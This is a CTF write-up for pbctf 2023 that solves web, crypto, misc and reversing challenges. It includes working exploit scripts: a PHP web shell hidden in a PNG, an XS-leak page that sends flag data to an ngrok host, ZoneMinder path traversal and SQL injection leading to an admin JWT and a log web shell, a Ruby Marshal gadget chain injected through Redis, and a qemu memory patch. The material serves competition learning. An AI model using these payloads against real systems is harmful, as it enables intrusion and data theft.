---
# System prepended metadata

title: pbctf 2023 Writeup

---

# pbctf 2023 Writeup
[TOC]

## Web
### Makima

app.py:

```python
from flask import *
import base64

app = Flask(__name__)



@app.route('/pwn.png')
def pwn():
    print(request.args.get('r'))
    resp = make_response("pew", 200)
    resp.headers.set("X-Accel-Redirect","/uploads/"+request.args.get('r')+"/h.php")
    resp.headers.set("Content-Type","image/png")
    return resp 

@app.route('/upload.png')
def u():
    shell = open("phppng.png","rb").read()
    resp = make_response(shell, 200)
    resp.headers.set("Content-Type","image/png")
    return resp 

app.run("0.0.0.0",3333)
```

solve.py:
```python
import requests
import base64
import os



url = "http://makima.chal.perfect.blue/"

fakeImg = 'https://81f0-101-179-77-30.ngrok.io/upload.png'
triggerImg = 'https://81f0-101-179-77-30.ngrok.io/pwn.png%3Fr={}'

data = {"url": fakeImg}
r = requests.post(url,data=data)
u = r.text.split('Message: ')[1].split('</p>')[0]

data = {"url": triggerImg.format(u.split('/')[1])}
r = requests.post(url,data=data)
#print(r.text)

r = requests.get(url+"uploads/pewpewpewhacked.png")
print(r.text)
```

First, we make the server download our image(`upload.png`) that contains our PHP code, then we use the `X-Accel-Redirect` header to make the proxy try to visit `/upload/<image id to upload.png>/h.php` internally.
Finally, the fastcgi will execute our payload inside that image, and we can get the output we generate in `uploads/pewpewpewhacked.png`.


### XSPS
When location.hash updates, the app will decode the hash and search the note. If param `open` is true and note is found, the link will be clicked thus redirect to the note page. We can redirect the page back to our origin and use `history.length` as a oracle to see if redirection occurs.

``` html
<html>
  <img src="/delay">
  <script>
    let baseUrl = 'http://xsps.chal.perfect.blue/'

    const sleep = ms => new Promise(r => setTimeout(r, ms))

    function send(d){
      fetch('http://a.ngrok.io?q=' + d)
    }

    async function leak(str) {
      let win = window.open(baseUrl)
      await sleep(200)
      win.location = baseUrl + '#' + btoa(JSON.stringify({open: true, query: str}))
      await sleep(200)
      win.location = 'about:blank'
      await sleep(100)
      send(str + ',' + win.history.length)
      win.close()
      return win.history.length
    }

    async function main() {
      let flag = 'pbctf{'
      await leak(flag)
      let charset = '}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
      while(true) {
        for(let i=0; i<charset.length; i++) {
          let c = charset[i]
          let result = await leak(flag+c)
          if (result === 4) {
            flag += c
            send('found:'+flag)
            break
          }
        }
      }
            
    }

    main()    
    
  </script>
</html>
```

### The Mindful Zone

There is a path traversal vulnerability at `view` query string and blind sql injection at `skins/classic/views/report_event_audit`:

``` py
import requests

url = "http://localhost:8080/zm/index.php?view=..././..././skins/classic/views/report_event_audit"

sqlI = f""" UNION SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1#"""
data  = {
    "action": "login",
    "minTime": "pew\\",
    "maxTime": sqlI
}

r =requests.post(url,data=data)
print(r.text)
```

By exploiting the sql injection, we can get `ZM_AUTH_HASH_SECRET` then craft a valid admin jwt token. After becoming the admin, we can write our web shell into debug log and get RCE:

``` py
import requests
import jwt, uuid

key = "8kjQJQg7GB4vfu8yFE7WjzWfhHYMXYC3"

token = jwt.encode({"user": "admin", "iat":"1676782671", "type": "access"}, key, algorithm="HS256")

url = f"http://localhost:8080/zm/index.php?token={token}"
shellName = f"/tmp/{str(uuid.uuid4())}.php"
triggerURL = "http://localhost:8080/zm/index.php?view=..././..././..././..././..././..././..././.../."+shellName.replace('.php','')

s=requests.Session()

r = s.post(url,data={"view":'pew',"action":'fake'})
csrf = r.text.split('value="')[1].split('"')[0]

data = f"__csrf_magic={csrf}&view=options&tab=logging&action=options&newConfig[ZM_LOG_LEVEL_SYSLOG]=-1&newConfig[ZM_LOG_LEVEL_FILE]=1&newConfig[ZM_LOG_LEVEL_WEBLOG]=-5&newConfig[ZM_LOG_LEVEL_DATABASE]=0&newConfig[ZM_LOG_DATABASE_LIMIT]=7 day&newConfig[ZM_LOG_FFMPEG]=1&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_TARGET]=&newConfig[ZM_LOG_DEBUG_LEVEL]=1&newConfig[ZM_LOG_DEBUG_FILE]={shellName}&newConfig[ZM_LOG_CHECK_PERIOD]=900&newConfig[ZM_LOG_ALERT_WAR_COUNT]=1&newConfig[ZM_LOG_ALERT_ERR_COUNT]=1&newConfig[ZM_LOG_ALERT_FAT_COUNT]=0&newConfig[ZM_LOG_ALARM_WAR_COUNT]=100&newConfig[ZM_LOG_ALARM_ERR_COUNT]=10&newConfig[ZM_LOG_ALARM_FAT_COUNT]=1&newConfig[ZM_RECORD_EVENT_STATS]=1"

r = s.post(url,data=data,headers={"Content-Type":"application/x-www-form-urlencoded"})

s.post(url+"&view=<?=`whoami`; ?>")

print(s.post(triggerURL,data={"action":"login"},allow_redirects=False).text)
```


### git-ls-api

The challenge presents a weird looking Ruby on Rails application, with the only feature being "call GitHub API with custom API endpoint, cache the result in Redis and return as JSON". We took a look at the Octokit (the GitHub client) and found that it uses a fair amount of Ruby magic (via Sewyer), but we didn't see immediate consequence given that the response object just goes through `.sha` and `.tree.map`.

The Redis does seem suspicious, we checked that and confirmed that it holds a Rails session, marshalled with Ruby's builtin marshal module. There are plenty of posts and writeups on the Internet telling us that if we take it over we can execute arbitrary code upon deserialization. But Ruby's Net::Http and especially Faraday is hardened against cross-protocol SSRF and we didn't find anything useful.

After a while we noticed a H1 report: https://hackerone.com/reports/1672388, which describes that passing the `Sawyer::Response` to the Ruby Redis client is exploitable due to the above mentioned magic. This is exactly what we have here. We then basically copied that report. The Redis client library does a few additional things compared to the PoC in the H1 report so we need to wrap the payload in more `to_s` and `b` layers, and we have to plug in [a different gadget chain](https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) due to different Ruby version.

Final exploit:

```python=
from flask import Flask, redirect, jsonify

app = Flask(__name__)

MARSHAL_PAYLOAD = bytes.fromhex("04085b08631547656d3a3a5370656346657463686572753a1747656d3a3a53706563696669636174696f6e023f0204085b1849220a332e332e37063a0645546909303049753a0954696d650d60601e6000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b066f3a2647656d3a3a5265736f6c7665723a3a496e64657853706563696669636174696f6e073a0a406e616d654922096e616d65063b00543a0c40736f757263656f3a1047656d3a3a536f75726365073a09407572696f3a0e5552493a3a485454500b3a0a40706174684922062f063b00543a0c40736368656d654922077333063b00543a0a40686f73744922166f2e726961742e72652f6e79612e727a3f063b00543a0a40706f72744922762f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f063b00543a0a407573657249220975736572063b00543a0e4070617373776f726449220d70617373776f7264063b00543a12407570646174655f6361636865543a1240646570656e64656e636965735b005b007b00753b0002a90204085b1849220a332e332e37063a0645546909303049753a0954696d650d60601e6000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b076f3a2547656d3a3a5265736f6c7665723a3a5370656353706563696669636174696f6e063a0a40737065636f3a2447656d3a3a5265736f6c7665723a3a47697453706563696669636174696f6e073a0c40736f757263656f3a1547656d3a3a536f757263653a3a4769740a3a0940676974492208746565063b00543a0f407265666572656e63657b063a07696e4922682f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f717569636b2f4d61727368616c2e342e382f6e616d652d2e67656d73706563063b00543a0e40726f6f745f6469724922092f746d70063b00543a10407265706f7369746f727949220a76616b7a7a063b00543a0a406e616d65492208616161063b00543b0f6f3a2147656d3a3a5265736f6c7665723a3a53706563696669636174696f6e073b184922096e616d65063b00543a1240646570656e64656e636965735b006f3b0e063b0f6f3b10073b116f3b120a3b134922077368063b00543b147b003b164922092f746d70063b00543b1749220a76616b7a7a063b00543b18492208616161063b00543b0f6f3b19073b184922096e616d65063b00543b1a5b003b1a5b005b007b00")

LUA_ESCAPED_MARSHAL_PAYLOAD = "".join((f"\\{x}" for x in MARSHAL_PAYLOAD))

SESSION_ID = "71edaac729c8662abe024fac84595eacd8ba7f8c516134024a57205bff6323e0"

COMMANDS_TO_INJECT = [
    # Use repr() for double escape: redis wants that.
    f"EVAL \"return redis.call('SET', '{SESSION_ID}', {repr(LUA_ESCAPED_MARSHAL_PAYLOAD)})\" 0",
]

@app.route("/repos/a/b/git/trees/HEAD")
def index():
  return jsonify({
    "tree": [],
    "sha": {
      "to_s": {
        "to_s": {
          "to_s": {
            "b": {
              "to_s": "1\r\n$2\r\nPX\r\n$1\r\n1\r\n" + "\r\n".join(COMMANDS_TO_INJECT),
              "bytesize": 1,
            },
          },
        },
      },
    },
  })

app.run(host="0.0.0.0", port=2323, debug=True)
```

To exploit the service, first access `/`, get a session id, then trigger the Rails.cache against a `Sawyer::Response` returned by the above script to overwrite the session, then access the server again with the same session id.

## Crypto
### Blocky
the challenge is a service that encrypts and decrypts a message, if the supply text is decrypted in 'gimmeflag' the server sends the flag. There is a check to verify that the text being encrypted is not exactly 'gimmeflag'. This check is wrong because inp is in bytes and "gimmeflag" is a str
```python
if inp == 'gimmeflag':
    print("Result: None")
    continue
```
So we can encrypt 'gimmeflag' and get the correct decrypted text.


### My ECC Service
The base point can be changed using the "verify" function. And there is no limit on the base point. So change the base point to generate a singular curve.

There are two singular curves. $y^2=x^3-3x\pm2$. They require to use $\sqrt{\pm3}$ respectively. There is no $\sqrt3$ inside every $F_p$ given. But $\sqrt{-3}$ exists in some of them. The nonce has just $80$ bits. So one $F_p$ is enough. 

Use the base point $(6, 14)$ to generate $y^2=x^3-3x-2$. And use "discrete_log" in sage to solve the nonce. Finally, use nonce to predict the next output and get the flag.

### Blocky - 4
The cipher is very similar to AES. The only difference is that the cipher uses $F_3[x]$. But $\sum_{i=0}^{242}GF(i)$ is still $0(0+1+2\equiv0\pmod3)$. So square attack for AES with $4$ rounds is still useful here.

For every tryte in the plaintext, I generate 243 plaintexts that differ only on this tryte. There are $9*243=2187$ plaintexts in total, but $9$ of them are the same. So these plaintexts can be encrypted in $9$ queries(limit of <$3^7$ tryte).

All that remains is the attack itself. For every tryte in the last round key, enumerate and select the one that passes all $9$ tests. Use the round key to generate the original key. And decrypt the flag.
### My ECC Service 2
Now we need to get all $16$ nonces. We have to use field extension. But unfortunately, "discrete_log" is too slow on some $F_p(\sqrt{-3})$. 

So the base point is changed to $(2, 2)$. The singular curve is $y^2=x^3-3x+2$ now. And use "discrete_log" on $F_p(\sqrt{3})$. Luckily it's fast enough now.

But in query we only get the value of $x$. There is $\frac{1}{2}$ probability to get the opposite number for every nonce. Luckily every nonce has still just $80$ bits. So if the result has more than $80$ bits, just subtract it from the order of the element corresponding to $(2,2)$. Solve all $16$ nonces and check them(their XOR sum is $0$). Predict the next output and get the flag.

### Blocky - 5
The cipher is the same. So just use square attack for AES with $5$ rounds here. Enumerate $3$ trytes in the last round key. There are $3$ trytes associated with them in round $4$ keys. So enumerate them individually and check if all $9$ tests are passed.

But now the attack needs to enumerate $3+1=4$ trytes every time. And calculate with at least $243$ plaintexts. So the total amount of calculation has reached $3^{25}$ level. Python is too slow now.

So I use Python code to generate tables for addition, multiplication and INV_SBOX on $F_3[x]$. Save the plaintexts and the flag in other files. And use C++ code to enumerate and select the round key. This code can be easily parallelized. It takes about $26$ minutes in total, $440$ minutes of CPU time. In the end, the only legal final round key is obtained. The original key is recovered. Decrypt the flag.
## Misc
### FlipJump 1
This is a two-player game using flipjump, a variant of esolang.

First, player 1 enters the flipjump code and executes it.
This random 4-bit is displayed after Player 1 executes.
Next, player2 enters flipjump code and execute it.
Player 2 must guess this random 4-bit value, or the program exits.

You can get a flag if you guess 69 times in a row.

The 4-bit random value is known before player 2's input, so we should just create that value.

In fact, you don't need to enter any flipjump code, you can directly enter the value that player 2 should make if you specify a size greater than 256.

You just read the value and set it.

```python=
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'split-window', '-h']

TARGET = './flipjump'
HOST = 'flipjump.chal.perfect.blue'
PORT = 1337

elf = ELF(TARGET)
def start():
        if not args.R:
                print("local")
                return process(TARGET)
        else:
                print("remote")
                return remote(HOST, PORT)

r = start()

for _ in range(0x45):
    size = 0x200
    r.sendafter(b'length:\n', p64(size))
    payload = b''
    payload = payload.ljust(size, b'a')
    r.sendafter(b'code:\n', payload)
    r.recvuntil(b'Flip[')
    leak1 = int(r.recv(1))
    r.recvuntil(b'Bit ')
    leak2 = int(r.recv(1))
    leak3 = int(r.recv(2))

    retval = (leak1 << 3) | leak2
    randval = 0
    randval |= leak3 << leak2
    print(f'retval: {retval:x}, randval: {randval:x}')

    r.sendafter(b'length:\n', p64(size))
    payload = b''
    payload += flat((0x8 << 3)|0, 0)
    payload += b'a'*232+p64(retval)
    payload = payload.ljust(size, b'b')
    r.sendafter(b'code:\n', payload)
    r.sendafter(b'Play again? (Y/N)\n', b'Y')

r.interactive()
r.close()
```
## Reversing
### Move VM

We are given a Move bytecode binary. Luckily, Move officially has a disassembler in [move-language/move](https://github.com/move-language/move). 

After disassembling the code, we see that it does the following things:

1. Check if the input is 58 bytes long,
2. Check if the input starts with `pbctf{` and ends with `}`, by compressing the first 6 elements in the input and the last element in the input into a u64, and compare that against the XOR result of two constant value,
3. Initialize a constant table, and then run some kind of VM based on this table.

Further analyze the VM, we see that it's interpreting the table as instructions, where each u64 in the table is a fixed size instruction, with the top 32-bits being the opcode number, and the bottom 32-bit being the immediate value.

By the way, the table is serialized as first a Uvarint, which is the number of elements in the table, and then elements in the table stored as little-endian numbers.

The VM is a stack-based machine, and the code are executed with essentially a giant if-else table. The VM has support for 252 opcodes, it would be a pain to reverse all of them. Dumping the instructions and we see only 19 opcodes are being used, so we only need to reverse these codes.

The table of reversed opcode:
```
0: 'PUSH(0x%X)',
64: 'IF (POP() != 0) { PC = %d }',
57: 'SWAP TOP TWO STACK ELEMENTS',
48: 'DUP TOP STACK ELEMENT',
21: 'PUSH(POP2() >> (POP1() & 0xFF))',
19: 'PUSH(POP() & POP())',
17: 'PUSH(POP() ^ POP())',
16: 'PUSH(POP() + POP())',
22: 'PUSH(POP2() < POP1())',
58: 'SWAP SECOND AND THIRD STACK ELEMENTS',
66: 'IF (POP() != 0) { PC -= %d }',
56: 'POP()',
67: 'RET',
2: 'PUSH(FLAG[%d])',
68: 'CALL %d',
23: 'PUSH(POP() == POP())',
65: 'IF (POP() != 0) { PC += %d }',
255: 'HALT',
69: 'NOP',
```

And the disassembled VM code:
```c=
PUSH(0x1)
IF (POP() != 0) { PC = 30 }
SWAP TOP TWO STACK ELEMENTS
PUSH(0x0)
SWAP TOP TWO STACK ELEMENTS
DUP TOP STACK ELEMENT
PUSH(0x1)
PUSH(POP2() >> (POP1() & 0xFF))
SWAP TOP TWO STACK ELEMENTS
PUSH(0x1)
PUSH(POP() & POP())
PUSH(0xFFFFFFFF)
PUSH(POP() ^ POP())
PUSH(0x1)
PUSH(POP() + POP())
PUSH(0xFFF63B78)
PUSH(POP() & POP())
PUSH(POP() ^ POP())
SWAP TOP TWO STACK ELEMENTS
PUSH(0x1)
PUSH(POP() + POP())
DUP TOP STACK ELEMENT
PUSH(0x8)
PUSH(POP2() < POP1())
SWAP SECOND AND THIRD STACK ELEMENTS
IF (POP() != 0) { PC -= 20 }
SWAP TOP TWO STACK ELEMENTS
POP()
SWAP TOP TWO STACK ELEMENTS
RET
PUSH(0x0)
PUSH(FLAG[6])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[7])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[8])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[9])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x83B118FA)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[10])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[11])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[12])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[13])
PUSH(POP() ^ POP())
CALL 2
PUSH(0xEF9C7B7F)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[14])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[15])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[16])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[17])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x95B3879F)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[18])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[19])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[20])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[21])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x31379B65)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[22])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[23])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[24])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[25])
PUSH(POP() ^ POP())
CALL 2
PUSH(0xA3CA53AB)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[26])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[27])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[28])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[29])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x911791B9)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[30])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[31])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[32])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[33])
PUSH(POP() ^ POP())
CALL 2
PUSH(0xE9DA85A1)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[34])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[35])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[36])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[37])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x5A0B762D)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[38])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[39])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[40])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[41])
PUSH(POP() ^ POP())
CALL 2
PUSH(0xDA0A6E01)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[42])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[43])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[44])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[45])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x48278985)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[46])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[47])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[48])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[49])
PUSH(POP() ^ POP())
CALL 2
PUSH(0xAC6887BE)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[50])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[51])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[52])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[53])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x26A5D1BC)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
PUSH(0x0)
PUSH(FLAG[54])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[55])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[56])
PUSH(POP() ^ POP())
CALL 2
PUSH(FLAG[57])
PUSH(POP() ^ POP())
CALL 2
PUSH(0x973DB5EE)
PUSH(POP() == POP())
IF (POP() != 0) { PC += 2 }
HALT
NOP

```

Essentially, input bytes are processed and checked in groups of four bytes, following the pattern of:
`FUNC2(FUNC2(FUNC2(FUNC2(flag[i]) ^ flag[i+1]) ^ flag[i+2]) ^ flag[i+3]) == [constant]`

So we only need to reverse what the function at index 2 does. Luckily we have z3:

```python=
import z3

'''
2:      SWAP TOP TWO STACK ELEMENTS
3:      PUSH(0x0)
4:      SWAP TOP TWO STACK ELEMENTS
5:      DUP TOP STACK ELEMENT
6:      PUSH(0x1)
7:      PUSH(POP2() >> (POP1() & 0xFF))
8:      SWAP TOP TWO STACK ELEMENTS
9:      PUSH(0x1)
10:     PUSH(POP() & POP())
11:     PUSH(0xFFFFFFFF)
12:     PUSH(POP() ^ POP())
13:     PUSH(0x1)
14:     PUSH(POP() + POP())
15:     PUSH(0xFFF63B78)
16:     PUSH(POP() & POP())
17:     PUSH(POP() ^ POP())
18:     SWAP TOP TWO STACK ELEMENTS
19:     PUSH(0x1)
20:     PUSH(POP() + POP())
21:     DUP TOP STACK ELEMENT
22:     PUSH(0x8)
23:     PUSH(POP2() < POP1()) ??
24:     SWAP SECOND AND THIRD STACK ELEMENTS
25:     IF (POP() != 0) { PC -= 20 }
26:     SWAP TOP TWO STACK ELEMENTS
27:     POP()
28:     SWAP TOP TWO STACK ELEMENTS
29:     RET
'''

def cal(stack):
    stack.append(0)
    stack[-1], stack[-2] = stack[-2], stack[-1]

    while True:
        stack.append(stack[-1])

        stack.append(1)
        
        pop1 = stack.pop()
        pop2 = stack.pop()
        stack.append(z3.LShR(pop2, pop1 & 0xFF))

        stack[-1], stack[-2] = stack[-2], stack[-1]
        stack.append(1)
        stack.append(stack.pop() & stack.pop())
        stack.append(0xFFFFFFFF)
        stack.append(stack.pop() ^ stack.pop())
        stack.append(1)
        stack.append(stack.pop() + stack.pop())
        stack.append(0xFFF63B78)
        stack.append(stack.pop() & stack.pop())
        stack.append(stack.pop() ^ stack.pop())
        stack[-1], stack[-2] = stack[-2], stack[-1]
        stack.append(1)
        stack.append(stack.pop() + stack.pop())
        stack.append(stack[-1])
        stack.append(8)
        
        pop1 = stack.pop()
        pop2 = stack.pop()
        stack.append(pop2 < pop1)
        stack[-2], stack[-3] = stack[-3], stack[-2]

        if not stack.pop():
            break

    stack[-1], stack[-2] = stack[-2], stack[-1]
    stack.pop()

flag = [z3.BitVec(f'flag_{_}', 8) for _ in range(4)]

s = z3.Solver()
sta = [0]

for f in flag:
    sta.append(sta.pop() ^ z3.ZeroExt(64 - 8, f))
    cal(sta)
    assert len(sta) == 1


for c in [0x83B118FA, 0xEF9C7B7F, 0x95B3879F, 0x31379B65, 0xA3CA53AB, 0x911791B9, 0xE9DA85A1, 0x5A0B762D, 0xDA0A6E01, 0x48278985, 0xAC6887BE, 0x26A5D1BC, 0x973DB5EE]:
    s = z3.Solver()

    s.add(sta[0] == c)
    assert s.check() == z3.sat

    m = s.model()
    print(''.join(chr(m[f].as_long()) for f in flag), end='')
```

### Toxic

#### 1. What

The description said that the flag is in `/flag` file. So could we just fopen, fread and then get the flag?

NO. Although you can get a valid FILE* with `fopen("/flag","rb")`, fread will read no data. And reading other files such as `/etc/passwd` is ok, so the qemu is modified to forbid reading `/flag`.

To find out what happened, `strace` is a good tool. You will see the qemu open and fstat on `/flag` if you try to open any file. Therefore, we can guess this is a bad backdoor. Use IDA to search string `/flag`, the only result is the backdoor needed. It's at qemu's `do_openat` function, and it will open both `/flag` and target file you want to open, retrieve fstat info, compare their `st_ino` (file's inode number) and `st_dev`(ID of device containing file). If they are equal, then the backdoor will close target file's fd and of course you can not read the flag inside `/flag`.

#### 2. How

How to break the limitation? I tried some tricks such as create a symlink to bypass the limitation but all failed. 

Then I chose to modify qemu's memory. At first I modify the instruction that compares two files' inode, but this will cause some segment fault.😢

What else can we do? 

We can modify the `/flag` in qemu's memory, that used as file name to compare the file we want to open.

Just modify it to `/etc`. At this time, if we open `/flag`, its `st_ino` and `st_dev` will be compared with `/etc` and then the backdoor will not close the fd of `/flag`.

Finally, read flag.
#### payload
```cpp=
#include <string.h>
#include <stdio.h>
#include <fstream>
#include <filesystem>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/uio.h>

uint64_t target_addr = 0;
constexpr char FILENAME[] = "/proc/self/mem";
constexpr char FLAG_FILENAME[] = "/flag";

uint64_t get_qemu_base(){
    FILE * fp = fopen("/proc/../proc/./self/../self/./maps", "rb");

    if(fp==0){
        printf("File not found\n");
        return 0;
    }

    char buffer[0x2000]{};
    int size=0x2000;
    // read mem
    uint64_t base_addr=0, dummy;
    while(1){
        auto line = fgets(buffer,0x1000,fp);
        if(line==0) 
            break;
        if(strstr(line, "qemu-x86_64")){
            printf("%s",line);
            sscanf(line, "%lx-%lx", &base_addr, &dummy);
            if(base_addr==0){
                puts("Get qemu-base failed");
                exit(0);
                
            }
            return base_addr;
        }
    }
    return 0;
}


int main(){
    puts("--------------------BEGIN------------------");
    setvbuf(stdout, NULL, _IONBF, 0); 
    uint64_t qemu_base = get_qemu_base();
    printf("qemu-base: %lx\n", qemu_base);
    target_addr=qemu_base+0x615135;

    


    size_t size=0;

    FILE * fp = fopen(FILENAME, "rb");

    if(fp==0){
        printf("/proc/self/mem open failed! \n");
        return 0;
    }

    char buffer[0x2000]{};
    size=0x2000;
    // read mem
    uint64_t pos = qemu_base + 0x615135;
    fseek(fp, pos,SEEK_SET);
    auto cnt = fread(buffer, 1, size, fp);

    if(cnt==0){
        puts("Read qemu mem failed");
        exit(0);
    }

    // dump the "/flag" memory
    printf("%lx: ", pos);
    for (int i=0;i<10;i++){
        printf("%c", buffer[i]);
    }
    puts("");

    if(memcmp(buffer,"/flag",5)) {
        puts("Wrong qemu binary");
        exit(0);
    }

    auto pgsz=getpagesize();

    printf("page size: 0x%x\n", pgsz);

    puts("found \"/flag\" in qemu mem!");

    printf("To change prot: %lx\n", pos&(~(pgsz-1)));

    int r = 0;
    
    r = mprotect( (void*)( pos&(~(pgsz-1)) ), pgsz, PROT_READ|PROT_WRITE|PROT_EXEC);
    if(r!=0){
        printf("mprotect failed\n");
        exit(0);
    }
    printf("mprotect OK!\n");

    puts("Writemem");
    memcpy(((char*)qemu_base+0x615135),"/etc\x00",5);

    printf("now flag: %s\n",(char*)qemu_base+0x615135);

    puts("Writemem OK");

    r=mprotect( (void*)( pos&(~(pgsz-1)) ),pgsz,PROT_READ|PROT_WRITE);
    if(r!=0){
        puts("recovery prot failed!");
        exit(0);
    }
    puts("recovery prot ok");

    fflush(stdout);
    
    puts("---------------TO OPEN FLAG--------------");

    fp = fopen(FLAG_FILENAME,"rb");
    if(fp==0){
        puts("open flag failed");
        exit(0);
    }

    memset(buffer,0,sizeof(buffer));
    
    std::uintmax_t flag_size = std::filesystem::file_size("/flag");
    cnt = fread(buffer, 1, flag_size, fp);
    printf("readed: %ld\n", cnt);

    fclose(fp);

    printf("FLAG:\n %s\n", buffer);
    return 0;
}
```